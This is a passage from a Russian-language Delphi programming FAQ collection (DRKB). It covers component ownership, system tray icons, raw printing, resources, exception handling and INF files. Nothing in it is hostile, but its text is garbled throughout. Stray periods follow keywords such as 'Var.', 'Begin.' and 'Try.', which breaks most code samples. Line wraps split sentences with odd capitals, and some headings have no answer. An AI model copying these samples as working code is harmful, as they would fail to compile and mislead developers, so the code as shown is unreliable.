Свойство "WheelPresent" глобального обьекта "mouse".

©Drkb::01563.

В чем отличие между Create(Self) и Create(Application)?

Self может быть использовано только в методе класса, и ссылается на текущий экземпляр класса. Таким образом "Self" в методе класса TForm1 ссылается на текущий экземпляр TForm1. При создании компонента Вы передаете его владельца (owner) в конструктор. При уничтожении формы или компонента автоматически уничтожаются и все компоненты владельцем которого она является. Таким образом если при создании формы передать в качестве владельца Application эта форма будет автоматически уничтожена при уничтожении Application. Если же при создании формы передать в качестве владельца другую форму, вновь созданная форма будет автоматически уничтоженна при уничтожении формы-владельца.

©Drkb::00110.

Как выполнить какой-то процесс тогда, когда пользователь не работает с моим приложением?

Создайте процедуру, которая будет вызываться при событии Application.OnIdle.

Обьявим процедуру:

{Private declarations}.

Procedure IdleEventHandler(Sender: TObject; var Done: Boolean);

В разделе implementation опишем поцедуру:

Code: Procedure TForm1.IdleEventHandler(Sender: TObject; var Done: Boolean); Begin. {Do a small bit of work here}. Done := false; End;

Поведение TAB в компоненте RadioGroup.

При перемещении фокуса ввода клавишей Tab чтобы переместить его в RadioGroup нужно нажать клавишу Tab дважды если какой нибудь пункт RadioGroup уже выбран, но только один раз если не выбран. Можно ли сделать поведение RadioGroup логичным?

Установка свойства RаdiоGrоuр'ы TabStop в false должна решить эту проблему - поскольку клавиша tab будет продолжать работать - перемещаясь сразу на выделенный пункт RadioGroup.

©Drkb::01316.

Как сделать картинки из TImageList прозрачными?

Code: Procedure TForm1.Button1Click(Sender: TObject); Var. Bm: TBitmap; Il: TImageList; Begin. Bm := TBitmap.Create; Bm.LoadFromFile('C:\DownLoad\TEST.BMP'); Il := TImageList.CreateSize(bm.Width, bm.Height); Il.DrawingStyle := dsTransparent; Il.Masked := true; Il.AddMasked(bm, clRed); Il.Draw(Form1.Canvas, 0, 0, 0); Bm.Free; Il.Free; End;

Как получить число и список всех компонентов, расположенных на TNoteBook?

Code: Procedure TForm1.Button1Click(Sender: TObject); Var. N: integer; P: integer; Begin. ListBox1.Clear; With Notebook1 do. Begin. For n := 0 to ControlCount - 1 do. Begin. With TPage(Controls[n]) do. Begin. ListBox1.Items.Add('Notebook Page: ' + TPage(Notebook1.Controls[n]).Caption); For p := 0 to ControlCount - 1 do. ListBox1.Items.Add(Controls[p].Name); ListBox1.Items.Add(EmptyStr); End; End; End; End;

Как мне отправить на принтер чистый поток данных?

Под Win16 Вы можете использовать функцию SpoolFile, или.

Passthrough escape, если принтер поддерживает последнее.

Под Win32 Вы можете использовать WritePrinter.

'иже пример открытия принтера и записи чистого потока данных в принтер.

Учтите, что Вы должны передать корректное имя принтера, такое, как "HP LaserJet.

5MP",

Чтобы функция сработала успешно.

Конечно, Вы можете включать в поток данных любые необходимые управляющие коды,

Которые могут потребоваться.

Code: Uses WinSpool; Procedure WriteRawStringToPrinter(PrinterName:String; S:String); Var. Handle: THandle; N: DWORD; DocInfo1: TDocInfo1; Begin. If not OpenPrinter(PChar(PrinterName), Handle, nil) then. Begin. ShowMessage('error ' + IntToStr(GetLastError)); Exit; End; With DocInfo1 do begin. PDocName := PChar('test doc'); POutputFile := nil; PDataType := 'RAW'; End; StartDocPrinter(Handle, 1, @DocInfo1); StartPagePrinter(Handle); WritePrinter(Handle, PChar(S), Length(S), N); EndPagePrinter(Handle); EndDocPrinter(Handle); ClosePrinter(Handle); End; Procedure TForm1.Button1Click(Sender: TObject); Begin. WriteRawStringToPrinter('HP', 'Test This'); End;

Как вместо печати графики использовать резидентный шрифт принтера?

Используте функцию Windows API - GetStockObject() чтобы получить дескриптор (handle) шрифта по умолчанию устройства (DEVICE_DEFAULT_FONT) и передайте его Printer.Font.Handle.

Code: Uses Printers; Procedure TForm1.Button1Click(Sender: TObject); Var. Tm: TTextMetric; I: integer; Begin. If PrintDialog1.Execute then. Begin. Printer.BeginDoc; Printer.Canvas.Font.Handle := GetStockObject(DEVICE_DEFAULT_FONT); GetTextMetrics(Printer.Canvas.Handle, tm); For i := 1 to 10 do. Begin. Printer.Canvas.TextOut(100, i * tm.tmHeight + Tm.tmExternalLeading, 'Test'); End; Printer.EndDoc; End; End;

Как узнать откуда была установленна Windows?

Мне нужно программно установить некоторые файлы с установочного диска Windows. На многих компьютерах CAB-файлы установки Windows находятся в каком-то каталоге на жестком диске, на других - Windows был установлен с CD. Как узнать откуда была установленна Windows?

Эту информацию можно получить из реестра.

Code: Uses Registry; Procedure TForm1.Button1Click(Sender: TObject); Var. Reg: TRegistry; Begin. Reg := TRegistry.Create; Reg.RootKey := HKEY_LOCAL_MACHINE; Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\SETUP', false); ShowMessage(reg.ReadString('SourcePath')); Reg.CloseKey; Reg.free; End;

Как получить описание кода, полученного GetLastError?

Функция RTL SysErrorMessage(GetLastError).

Code: Procedure TForm1.Button1Click(Sender: TObject); Begin. {Cause a Windows system error message to be logged}. ShowMessage(IntToStr(lStrLen(nil))); ShowMessage(SysErrorMessage(GetLastError)); End;

Как изменить оконную процедуру для TForm?

Переопределите в подклассе TForm оконную процедуру WinProc класса. В примере оконная процедура переопределяется для того чтобы реагировать на сообщение WM_CANCELMODE, показывающее, что выполняется messagebox или какой-либо еще диалог.

Code: Type. TForm1 = class(TForm). Button1: TButton; Procedure WndProc(var Message: TMessage); override; Procedure Button1Click(Sender: TObject); Private. {Private declarations}. Public. {Public declarations}. End; Var. Form1: TForm1; Implementation. {$R *.DFM}. Procedure TForm1.WndProc(var Message: TMessage); Begin. If Message.Msg = WM_CANCELMODE then. Begin. Form1.Caption := 'A dialog or message box has popped up'; End. Else. Inherited // <- остальное сделает родительская процедура. End; Procedure TForm1.Button1Click(Sender: TObject); Begin. ShowMessage('Test Message'); End;

©Drkb::00420.

Как отправить сообщение сразу всем элементам управления формы?

Можно использовать Screen.Forms[i].BroadCast(msg); где [i] - индекс той формы, которой Вы хотите переслать сообщение. BroadCast работает со всеми компонентами, потомками TWinControls и отправляет сообщение всем дочерним компонентам из массива Controls. Если один из дочерних компонентов обрабатывает это сообщение и устанавливает Msg.Result в ненулевое значение - дальнейшая рассылка сообщения останавливается.

©Drkb::02314.

Как ограничить длинну вводимого текста шириной ТЕdit'а?

Как ограничить длинну текста, вводимого в TEdit, так чтобы ширина текста не превышала.

Ширину ТЕdit'а?

В примере приведено два способа ограничить длинну текста в TEdit так чтобы она не превышала ширину клиентской области окна ТЕdit'а и не появлялась прокрутка текста. Первый способ устанавливает свойство ТЕdit'а MaxLength равным числу букв "W", которые поместятся в TEdit. "W" выбрана потому, что является, наверное, самой широкой буквой в любом шрифте. Этот метод сносно работает для шрифтов с фиксированной шириной букв, но для шрифтов с переменной шириной букв вряд ли сгодится. Второй способ перхватывает событие KeyPress ТЕdit'а и измеряет ширину уже введенного текста и ширину нового символа. Если ширина больше чем клиентская область ТЕdit'а новый символ отбрасывается и вызывается MessageBeep.

Code: Procedure TForm1.FormCreate(Sender: TObject); Var. CRect: TRect; Bm: TBitmap; S: string; Begin. Windows.GetClientRect(Edit1.Handle, cRect); Bm := TBitmap.Create; Bm.Width := cRect.Right; Bm.Height := cRect.Bottom; Bm.Canvas.Font := Edit1.Font; S := 'W'; While bm.Canvas.TextWidth(s) < CRect.Right do. S := s + 'W'; If length(s) > 1 then. Begin. Delete(s, 1, 1); Edit1.MaxLength := Length(s); End; End;

©Drkb::00538.

{Другой вариант}.

Code: Procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char); Var. CRect: TRect; Bm: TBitmap; Begin. If ((Ord(Key) <> VK_TAB) and (Ord(Key) <> VK_RETURN) and. (Ord(Key) <> VK_LEFT) and (Ord(Key) <> VK_BACK)) then. Begin. Windows.GetClientRect(Edit1.Handle, cRect); Bm := TBitmap.Create; Bm.Width := cRect.Right; Bm.Height := cRect.Bottom; Bm.Canvas.Font := Edit1.Font; If bm.Canvas.TextWidth(Edit1.Text + Key) > CRect.Right then. Begin. Key := #0; MessageBeep(-1); End; Bm.Free; End; End;

Как перехватить события в неклиентской области формы, в заголовке окна, например?

Создайте обработчик одного из сообщений WM_NC (non client - не клиентских) (посмотрите WM_NC в Windows API help). Пример показывает как перехватить вижение мыши во всей неклиенстской области окна (рамка и заголовок).

Code: Unit Unit1; Interface. Uses. Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; Type. TForm1 = class(TForm). Private. {Private declarations}. Procedure WMNCMOUSEMOVE(var Message: TMessage); message WM_NCMOUSEMOVE; Public. {Public declarations}. End; Var. Form1: TForm1; Implementation. {$R *.DFM}. Procedure TForm1.WMNCMOUSEMOVE(var Message: TMessage); Var. S: string; Begin. Case Message.wParam of. HTERROR: s := 'HTERROR'; HTTRANSPARENT:s := 'HTTRANSPARENT'; HTNOWHERE: s := 'HTNOWHERE'; HTCLIENT: s := 'HTCLIENT'; HTCAPTION: s := 'HTCAPTION'; HTSYSMENU: s := 'HTSYSMENU'; HTSIZE: s := 'HTSIZE'; HTMENU: s := 'HTMENU'; HTHSCROLL: s := 'HTHSCROLL'; HTVSCROLL: s := 'HTVSCROLL'; HTMINBUTTON: s := 'HTMINBUTTON'; HTMAXBUTTON: s := 'HTMAXBUTTON'; HTLEFT: s := 'HTLEFT'; HTRIGHT: s := 'HTRIGHT'; HTTOP: s := 'HTTOP'; HTTOPLEFT: s := 'HTTOPLEFT'; HTTOPRIGHT: s := 'HTTOPRIGHT'; HTBOTTOM: s := 'HTBOTTOM'; HTBOTTOMLEFT: s := 'HTBOTTOMLEFT'; HTBOTTOMRIGHT:s := 'HTBOTTOMRIGHT'; HTBORDER: s := 'HTBORDER'; HTOBJECT: s := 'HTOBJECT'; HTCLOSE: s := 'HTCLOSE'; HTHELP: s := 'HTHELP'; Else s := ''; End; Form1.Caption := s; Message.Result := 0; End; End.

Проблемы с TCanvas.StretchDraw при рисовании иконок.

При попытке использовать метод TCanvas.StretchDraw чтобы нарисовать иконку.

Увеличенной ее размер не изменяется. Что делать?

Иконки всегда рисуются размером принятым в системе по умолчанию. Чтобы показать увеличенный вид иконки скоприуйте ее на bitmap, а зате используйте метод TCanvas.StretchDraw.

Code: Procedure TForm1.Button1Click(Sender: TObject); Var. TheBitmap: TBitmap; Begin. TheBitmap := TBitmap.Create; TheBitmap.Width := Application.Icon.Width; TheBitmap.Height := Application.Icon.Height; TheBitmap.Canvas.Draw(0, 0, Application.Icon); Form1.Canvas.StretchDraw(Rect(0, 0, TheBitmap.Width * 3, TheBitmap.Height * 3), TheBitmap); TheBitmap.Free; End;

Что такое System Tray ? О чем идет речь?

Если Вы в операционной системе Windows пользуетесь оболочкой Explorer, то справа на ТаsкВаr'е Вы должны были видеть " углубленную" область в которой, обычно, помещаются часы, переключатель клавиатуры, регулятор громкости и некоторые другие утилиты. Они изображаются маленькими иконками и для них существуют ТооlТiр'ы как для кнопок ТооlВаr'ов. При щелчке или двойном щелчке по такой иконке программа обычно выполняет действие по умолчанию, а при щелчке правой кнопкой показывает Pop-Up меню. На уровне оболочки System Tray это приложение, поддерживающее окно, которое вы видите как " углубленную" область и некоторый сервис для работы с этим окном.

Как проиграть Wave-ресурс?

Сначала делаешь файл SOUND.RC, в нем строка вида: MY_WAV RCDATA TEST.WAV.

Компилишь чем-нибудь в *.RES.

Далее в тексте:

Code: {$R полное_имя_файла_с_ресурсом}. Var WaveHandle: THandle; WavePointer: pointer; ... WaveHandle := FindResource(hInstance, 'MY_WAV', RT_RCDATA); If WaveHandle <> 0 then. Begin. WaveHandle := LoadResource(hInstance, WaveHandle); If WaveHandle <> 0 then. Begin; WavePointer := LockResource(WaveHandle); PlayResourceWave := sndPlaySound(WavePointer, snd_Memory or. SND_ASYNC); UnlockResource(WaveHandle); FreeResource(WaveHandle); End; End;

Что такое иконка на System Tray?

Иконка на Тrау'е это просто картинка, а не окно какой-либо программы (исследование системы с помощью Microsoft Spy++ for Windows 95 показывает, что это не окно вообще). System Tray отслеживает события мыши над иконкой и, в случае надобности, показывает ToolTip для этой иконки. Так же он отсылает сообщения о всех действиях мыши над иконкой окну, которое поместило иконку на Tray. Таким образом, нельзя поместить программу на Tray. Любая программа может добавить стоько иконок на Tray, сколько ей необходимо. При этом главное окно программы не обязано исчезать или минимизироватся - примером может служить Microsoft Internet Mail, помещающая иконку " конверт" на Tray в случае появления новых писем.

Как изменить иконку на Tray?

После добавления иконки на Tray можно менять саму иконку, ToolTip и сообщение, посылаемое окну. Для этого необходимо заполнить экземпляр структуры NOTIFYICONDATA и вызвать функцию Shell_NotifyIcon() с параметром NIM_MODIFY и указателем на заполненный экземпляр структуры. При изменении иконки необходимо заполнить поля cbSize, hWnd, uID, uFlags и поля, отвечающие за параметры иконки, которые вы хотите менять. При этом uFlags должен содержать комбинацию флагов, описывающую поля, которые необходимо модифицировать.

Взято из FAQ:

Http://blackman.km.ru/myfaq/cont4.phtml]http://blackman.km.ru/myfaq/cont4.phtml.

©Drkb::01757.

Как удалить иконку с Tray?

Для удаления иконки вы должны знать ее ID и дескриптор окна-обработчика сообщений. Для удаления иконки с Tray надо вызвать функцию Shell_NotifyIcon() с параметром NIM_DELETE и указателем на экземпляр структуры NOTIFYICONDATA, у которого должны быть заполнены следующие поля: cbSize, hWnd, uID.

Как мне узнать о воздействии мыши на иконку, находящуюся на Tray?

При добавлении иконки на Tray вы указывали окно - обработчик сообщения и сообщение (CallbackMessage). Теперь окно, указанное вами будет при любых событиях мыши, происходящих над иконкой получать сообщение, указанное при добавлении иконки. При этом параметры lParam и wParam будут задействованы следующим образом:

Как сделать Pop-Up меню при щелчке иконке в Sys tray?

Многие программы показывают Pop-Up меню при щелчке на их иконке, помещенной на Tray, как этого добиться ?

Вы должны обрабатывать сообщение, указанное вами при добавлении иконки на Tray. При значении (UINT)lParam, равном WM_RBUTTONDOWN (это обычно дял Pop-Up меню по правой кнопке), или любому другому необходимому вам, вы должны вызовом функции GetCursorPos() получить позицию курсора в момент события (вряд ли пользователь успеет убрать мышь за время обработки сообщения, особенно если он ожидает меню), получить вескриптор Pop-Up меню одним из многих способов (LoadMenu(), GetSubMenu(), CreateMenu(), и т.д.) и выполнить следующий код:

Code: SetForegroundWindow(hWnd); TrackPopupMenuEx(hMenu,TPM_HORIZONTAL|TPM_LEFTALIGN,x, y,hWnd, NULL); DestroyMenu(hMenu); PostMessage(hWnd,WM_USER,0,0);

Где hWnd - дескриптор окна, которое будет обрабатывать команду меню,

HMenu - дескриптор меню,

X и y - позиция курсора.

Автоматическая ширина колонок в TStringGrid.

Можно ли сделать так чтобы TStringGrid автоматически изменял ширину колонок, чтобы вместить самую длинную строчку в колонке?

Code: Procedure AutoSizeGridColumn(Grid: TStringGrid; column: integer); Var. I: integer; Temp: integer; Max: integer; Begin. Max := 0; For i := 0 to (Grid.RowCount - 1) do. Begin. Temp := Grid.Canvas.TextWidth(grid.cells[column, i]); If temp > max then max := temp; End; Grid.ColWidths[column] := Max + Grid.GridLineWidth + 3; End; Procedure TForm1.Button1Click(Sender: TObject); Begin. AutoSizeGridColumn(StringGrid1, 1); End;

Как поместить JPEG-картинку в exe-файл и потом загрузить ее?

1)Создайте текстовый файл с расширением ".rc".Имя этого файла должно отличаться.

От имени файла - пректа или любого модуля проекта.

Файл должен содержать строку вроде: MYJPEG JPEG C: \DownLoad\MY.JPG.

Где:

"MYJPEG" имя ресурса.

"JPEG" пользовательский тип ресурса.

"C: \DownLoad\MY.JPG" руть к JPEG файлу.

Пусть например rc - файл называется "foo.rc".

Запустите BRCC32.exe(Borland Resource CommandLine Compiler) - программа находится.

В каталоге Bin Delphi / C + +Вuildеr'а - передав ей в качестве параметра полный путь.

К rc - файлу.

В нашем примере:

C: \DelphiPath\BIN\BRCC32.EXE C: \ProjectPath\FOO.RC.

Вы получите откомпилированный ресурс - файл с расширением ".res".

(в нашем случает foo.res).

Далее добавте ресурс к своему приложению.

Code: {Грузим ресурс}. {$R FOO.RES}. Uses Jpeg; Procedure LoadJPEGFromRes(TheJPEG: string; ThePicture: TPicture); Var. ResHandle: THandle; MemHandle: THandle; MemStream: TMemoryStream; ResPtr: PByte; ResSize: Longint; JPEGImage: TJPEGImage; Begin. ResHandle := FindResource(hInstance, PChar(TheJPEG), 'JPEG'); MemHandle := LoadResource(hInstance, ResHandle); ResPtr := LockResource(MemHandle); MemStream := TMemoryStream.Create; JPEGImage := TJPEGImage.Create; ResSize := SizeOfResource(hInstance, ResHandle); MemStream.SetSize(ResSize); MemStream.Write(ResPtr^, ResSize); FreeResource(MemHandle); MemStream.Seek(0, 0); JPEGImage.LoadFromStream(MemStream); ThePicture.Assign(JPEGImage); JPEGImage.Free; MemStream.Free; End; Procedure TForm1.Button1Click(Sender: TObject); Begin. LoadJPEGFromRes('MYJPEG', Image1.Picture); End;

Можно ли использовать иконку как картинку на кнопке TSpeedButton?

Code: Uses ShellApi; Procedure TForm1.FormShow(Sender: TObject); Var. Icon: TIcon; Begin. Icon := TIcon.Create; Icon.Handle := ExtractIcon(0, 'C:\WINDOWS\NOTEPAD.EXE', 1); SpeedButton1.Glyph.Width := Icon.Width; SpeedButton1.Glyph.Height := Icon.Height; SpeedButton1.Glyph.Canvas.Draw(0, 0, Icon); Icon.Free; End;

Как поместить прозрачную фоновую каринку на компонент CoolBar?

Code: Procedure TForm1.Button1Click(Sender: TObject); Var. Bm1: TBitmap; Bm2: TBitmap; Begin. Bm1 := TBitmap.Create; Bm2 := TBitmap.Create; Bm1.LoadFromFile('c:\download\test.bmp'); Bm2.Width := Bm1.Width; Bm2.Height := Bm1.Height; Bm2.Canvas.Brush.Color := CoolBar1.Color; Bm2.Canvas.BrushCopy(Rect(0, 0, bm2.Width, bm2.Height), Bm1, Rect(0, 0, Bm1.width, Bm1.Height), ClWhite); Bm1.Free; CoolBar1.Bitmap.Assign(bm2); Bm2.Free; End;

©Drkb::00589.

Ползунок компонента TScrollBar все время мигает. Как это отключить?

Установите свойтсво ScrollBar.TabStop в False.

©Drkb::01229.

Как среагировать на минимизацию-максимизацию формы перед тем как произойдет изменение?

Перехватывать сообщение WM_SYSCOMMAND. Если это сообщение говорит о.

Минимизации или максимизации формы - пищит динамик.

Code: Type. TForm1 = class(TForm). Private. {Private declarations}. Procedure WMSysCommand(var Msg: TWMSysCommand); Message WM_SYSCOMMAND; Public. {Public declarations}. End; Var. Form1: TForm1; Implementation. {$R *.DFM}. Procedure TForm1.WMSysCommand; Begin. If (Msg.CmdType = SC_MINIMIZE) or (Msg.CmdType = SC_MAXIMIZE) then. MessageBeep(0). Else. Inherited; End;

Можно ли удалять из списка TDriveComboBox диски которые отключены?

На некоторых laptop компьютерах может не быть флоппи дисковода. Можно ли удалять из списка TDriveComboBox диски которые отключены?

В примере TDriveComboBox не показывает дисководы, которые не готовы. (not ready). Учтите что на многих компьютерах будет ощутимая задержка при поверке plug&play флоппи дисковода.

Code: Procedure TForm1.FormCreate(Sender: TObject); Var. I: integer; OldErrorMode: Word; OldDirectory: string; Begin. OldErrorMode := SetErrorMode(SEM_NOOPENFILEERRORBOX); GetDir(0, OldDirectory); I := 0; While i <= DriveComboBox1.Items.Count - 1 do. Begin. {$I-}. ChDir(DriveComboBox1.Items[i][1] + ':\'); {$I+}. If IoResult <> 0 then. DriveComboBox1.Items.Delete(i). Else. Inc(i); End; ChDir(OldDirectory); SetErrorMode(OldErrorMode); End;

©Drkb::01379.

Как включить/отключить хранитель экрана?

Code: Procedure TForm1.Button1Click(Sender: TObject); Begin. {Turn it off}. SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 0, Nil, 0); {Turn it on}. SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 1, Nil, 0); End;

Как сообщить что-нибудь всем формам моего приложения?

Как сообщить всем формам моего приложения (в том числе и не видимым в данный момент) об изминении каких-то глобальных значений?

Один из способов - создать пользовательское сообщение и использовать метод preform чтобы разослать его всем формам из массива Screen.Forms.

Code: {Code for Unit1}. Const. UM_MyGlobalMessage = WM_USER + 1; Type. TForm1 = class(TForm). Label1: TLabel; Button1: TButton; Procedure FormShow(Sender: TObject); Procedure Button1Click(Sender: TObject); Private. {Private declarations}. Procedure UMMyGlobalMessage(var AMessage: TMessage); message. UM_MyGlobalMessage; Public. {Public declarations}. End; Var. Form1: TForm1; Implementation. {$R *.DFM}. Uses Unit2; Procedure TForm1.FormShow(Sender: TObject); Begin. Form2.Show; End; Procedure TForm1.UMMyGlobalMessage(var AMessage: TMessage); Begin. Label1.Left := AMessage.WParam; Label1.Top := AMessage.LParam; Form1.Caption := 'Got It!'; End; Procedure TForm1.Button1Click(Sender: TObject); Var. F: integer; Begin. For f := 0 to Screen.FormCount - 1 do. Screen.Forms[f].Perform(UM_MyGlobalMessage, 42, 42); End;

Code: {Code for Unit2}. Const. UM_MyGlobalMessage = WM_USER + 1; Type. TForm2 = class(TForm). Label1: TLabel; Private. {Private declarations}. Procedure UMMyGlobalMessage(var AMessage: TMessage); Message UM_MyGlobalMessage; Public. {Public declarations}. End; Var. Form2: TForm2; Implementation. {$R *.DFM}. Procedure TForm2.UMMyGlobalMessage(var AMessage: TMessage); Begin. Label1.Left := AMessage.WParam; Label1.Top := AMessage.LParam; Form2.Caption := 'Got It!'; End;

Можно ли как-то уменьшить мерцание при перерисовке компонента?

Если добавить флаг csOpaque (непрозрачный) к свойству ControlStyle компонента.

- то фон компонента перерисовываться не будет.

Code: Constructor TMyControl.Create; Begin. Inherited; ControlStyle := ControlStyle + [csOpaque]; End;

Где TServerSocket и TClientSocket в Delphi 7?

The TClientSocket and TServerSocket components seem to be missing from my installation of Delphi 7?

You will need to add the dclsockets package to the IDE. To do this go to Component | Install Packages | Add (/bin/dclsockets70.bpl).

©Drkb::03555.

Как отловить ошибку?

Code: Try. {здесь вы пишите код в котором может произойти ошибка}. Except. {здесь вы пишите код который выполнится если ошибка произойдёт, если ошибки не будет то этот код не выполняется}. End.

Вот как будет выполняться код:

Code: [Line 1]. Try. [Line 2]. [Line 3]. [Line 4]. Except. [Line 5]. End. [Line 6].

Допустим что [Line x] это строка какого-то Вашего кода. Предположим что при выполнении [Line 3] произошла ошибка, тогда программа будет выполнять строки:

1-2-3(ошибка!)-5-6.

Если ошибки нет то будут выполняться следующие линии кода:

1-2-3-4-6.

Если надо чтобы ошибка произошла, но перед этим Вы хотите выполнить некие свои действия, то организовать это можно следующим способом:

Code: Try. {здесь вы пишите код в котором может произойти ошибка}. Except. {здесь вы пишите код который выполнится если ошибка произойдёт, если ошибки не будет то этот код не выполняется}. Raise;// вызвать вновь ту же ошибку. End.

Как перехватить сообщение об ошибке?

Code: {©Drkb v.3(2007): www.drkb.ru, ®Vit (Vitaly Nevzorov) - nevzorov@yahoo.com}. Try. {здесь вы пишите код в котором может произойти ошибка}. Except. On e:Exception do Shwomessage(e.message); End.

©Drkb::00024.

Автор: Vit (www.delphist.com, www.drkb.ru, www.unihighlighter.com, www.nevzorov.org).

Взято с Vingrad.ru http://forum.vingrad.ru.

Как правильно печатать любую информацию (растровые и векторные изображения), а также как сделать режим предварительного просмотра?

Маленькое предисловие.

Т.к. основная моя работа связана с написанием софта для института,

Обрабатывающего геоданные, то и в отделе, где работаю, так же мучаются.

Проблемами печати (в одном случае - надо печатать карты, с изолиниями,

Заливкой, подписями и пр.; в другом случае - свои таблицы и сложные отрисовки.

По внешнему виду).

В итоге, моим коллегой был написан кусок, в котором ему удалось добиться.

Качественной печати в двух режимах : MetaFile, Bitmap.

Работа с MetaFile у нас сложилась уже исторически - достаточно удобно.

Описать ф-цию, которая что-то отрисовыват (хоть на экране, хоть где), которая.

Принимает TCanvas, и подсовывать ей то канвас дисплея, то канвас метафайла, а.

Потом этот Metafile выбрасывать на печать.

Достаточно решить лишь проблемы масштабирования, после чего - вперед.

Главная головная боль при таком методе - при отрисовке больших кусков,

Которые занимают весь лист или его большую часть, надо этот метафайл по.

Размерам делать сразу же в пикселах на этот самый лист. Тогда при изменении.

Размеров (просмотр перед печатью) - искажения при уменьшении не критичны, а вот.

При увеличении линии и шрифты не "поползут".

Итак :

Набор идей, которые были написаны (с) Андреем Аристовым, программистом.

Отдела матобеспечения СибНИИНП, г. Тюмень. Моего здесь только - приделывание.

Сверху надстроек для личного использования.

Вся работа сводится к следующим шагам :

1. Получить необходимые коэф-ты.

2. Построить метафайл или bmp для последующего вывода на печать.

3. Напечатать.

Ниже приведенный кусок (прошу меня не пинать, но писал я и писал для.

Достаточно кривой реализации с передачей параметров через глобальные.

Переменные) я использую для того, чтобы получить коэф-ты пересчета.

KScale - для пересчета размеров шрифта, а потом уже закладываюсь на его.

Размеры и получаю два новых коэф-та для kW, kH - которые и позволяют мне с.

Учетом высоты шрифта выводить графику и пр. У меня при работе kW <> kH, что.

Приходится учитывать.

Решили пункт 1.

Code: Procedure SetKoeffMeta; // установить коэф-ты. Var. PrevMetafile : TMetafile; MetaCanvas : TMetafileCanvas; Begin. PrevMetafile := nil; MetaCanvas := nil; Try. PrevMetaFile := TMetaFile.Create; Try. MetaCanvas := TMetafileCanvas.Create( PrevMetafile, 0 ); KScale := GetDeviceCaps( Printer.Handle, LOGPIXELSX ) / Screen.PixelsPerInch; MetaCanvas.Font.Assign( oGrid.Font); MetaCanvas.Font.Size := Round( oGrid.Font.Size * kScale ); KW := MetaCanvas.TextWidth('W') / oGrid.Canvas.TextWidth('W'); KH := MetaCanvas.TextHeight('W') / oGrid.Canvas.TextHeight('W'); Finally. MetaCanvas.Free; End; Finally. PrevMetafile.Free; End; End;

Как предотвратить утечки памяти при возникновении ошибок?

Используйте конструкцию.

Code: {©Drkb v.3(2007): www.drkb.ru, ®Vit (Vitaly Nevzorov) - nevzorov@yahoo.com}. Try. {здесь вы пишите код в котором может произойти ошибка}. Finally. {здесь вы пишите код который выполнится в любом случае - хоть произойдёт ошибка, хоть нет}. End.

Например, это часто применяется во избежание утечек при динамическом распределении памяти:

Code: {©Drkb v.3(2007): www.drkb.ru, ®Vit (Vitaly Nevzorov) - nevzorov@yahoo.com}. T:TStringList; ... T:=TStringList.create; //распределили память под объект t. Try. {здесь работаем с переменной t}. Finally. T.free;//память выделенная под объект t всегда будет освобождена. End.

©Drkb::00025.

Автор: Vit (www.delphist.com, www.drkb.ru, www.unihighlighter.com, www.nevzorov.org).

Взято с Vingrad.ru http://forum.vingrad.ru.

Как сгенерировать свою ошибку?

Code: {©Drkb v.3(2007): www.drkb.ru, ®Vit (Vitaly Nevzorov) - nevzorov@yahoo.com}. Raise Exception.Create('Это моя ошибка! Сам что хочу то и пишу здесь!').

Примечание: в отличие от других объектов, объекты типа Exception или других классов, унаследованных от Exception не требуют вызова деструкторов или любых других действий по освобождению памяти после их создания.

©Drkb::00026.

Автор: Vit (www.delphist.com, www.drkb.ru, www.unihighlighter.com, www.nevzorov.org).

Взято с Vingrad.ru http://forum.vingrad.ru.

Пример запуска макроса в MS WinWord.

Code: VvWord:= CreateOleObject('Word.Application.8'); VvWord.Application.Visible:=true; VvWord.Documents.Open( TempFileName ); VvWord.ActiveDocument.SaveAs( FileName, 1 ); // as .DOC. VvWord.Application.Run( 'Macros Name' );

Обмен информацией между приложениями Win32 - Win16.

Пользуйтесь сообщением WM_COPYDATA.

Для Win16 константа определена как $004A, в Win32 смотрите в WinAPI Help.

Code: #define WM_COPYDATA 0x004A. /* * lParam of WM_COPYDATA message points to... */ Typedef struct tagCOPYDATASTRUCT { DWORD dwData; DWORD cbData; PVOID lpData; } COPYDATASTRUCT, *PCOPYDATASTRUCT;

©Drkb::02008.

Как написать DLL, которую можно было-бы выполнить с помощью RunDll, RunDll32?

Вы должны определить в программе вызываемую снаружи функцию.

Функция должна быть __stdcall (или WINAPI, что то же самое ;)) и иметь.

Четыре аргумента. Первый - HWND окна, порождаемого rundll32 (можно.

Использовать в качестве оwnеr'а своих dialog bох'ов), второй - HINSTANCE.

Задачи, третий - остаток командной строки (LPCSTR, даже под NT),

Четвертый - не знаю ;). Например,

Code: Int __stdcall __declspec(dllexport) Test. ( HWND hWnd, HINSTANCE hInstance, LPCSTR lpCmdLine, DWORD dummy. ) { MessageBox(hWnd, lpCmdLine, "Command Line", MB_OK); Return 0; }

Что делает inf-файл?

Он позволяет осуществить:

Создание элементов реестра.

Определение инициализационных параметров (INI-settings).

Копирование файлов с дистрибутива и размещение их в системе.

Инсталляция устройств.

Управление другими INF-фаилами.

Конфигурирование опций устройств.

INF-файлы представляют собой инициализационные файлы, которые конфигурируют.

Устройство или приложение в вашей системе и задают его элементы в реестре.

INF-файлы обычно поставляются производителем продукта вместе с устройством.

Или приложением. Кроме того, можно их найти на электронных досках объявле-

Ний и других on-line сервисах. INF-файлы понадобятся вам для многих обычных.

(не РпР) устройств, которые вам нужно будет конфигурировать для работы с.

Windows 95. Как правило, INF-файлы включают список допустимых логических.

Конфигураций, имена файлов драйверов устройств и г. д. В ряде случаев вам.

Потребуется самим писать INF-файлы для устройств или программного обеспече-

Ния. Формат lNF-файлов аналогичен формату INIфайлов, которые использовались.

В Windows З.х, включая квадратные скобки, ключи и разделы, используемые то-

Лько Windows 95.

Структура INF-файла.

Когда вы инсталлируете новое устройство. Windows ищет INF-фаилы для этого.

Устройства, используя при этом идентификатор устройства (device ID). Собрав.

Из INF-фаила всю необходимую информацию, система создает в реестре элемент.

Для этого устройства под ключом HKEY_LOCAL_MACHINE. Значения из INF-файла.

Копируются в элемент реестра, соответствующий драйверу устройства. Такие.

Значения, как DevLoader= и Driverdesc= включаются в элемент аппаратного.

Драйвера Driver=. Элемент Еnиm содержит значения Driver= и ConfigFlags=.

INF-фаилы представляют собой файлы в формате ASCII, состоящие из нескольких.

Разделов. Каждый раздел предназначен для выполнения определенной задачи.

Имена разделов обычно заключаются в квадратные скобки. Типичные элементы.

Представляют собой ключ и значение, соединенные знаком равенства. В раздел.

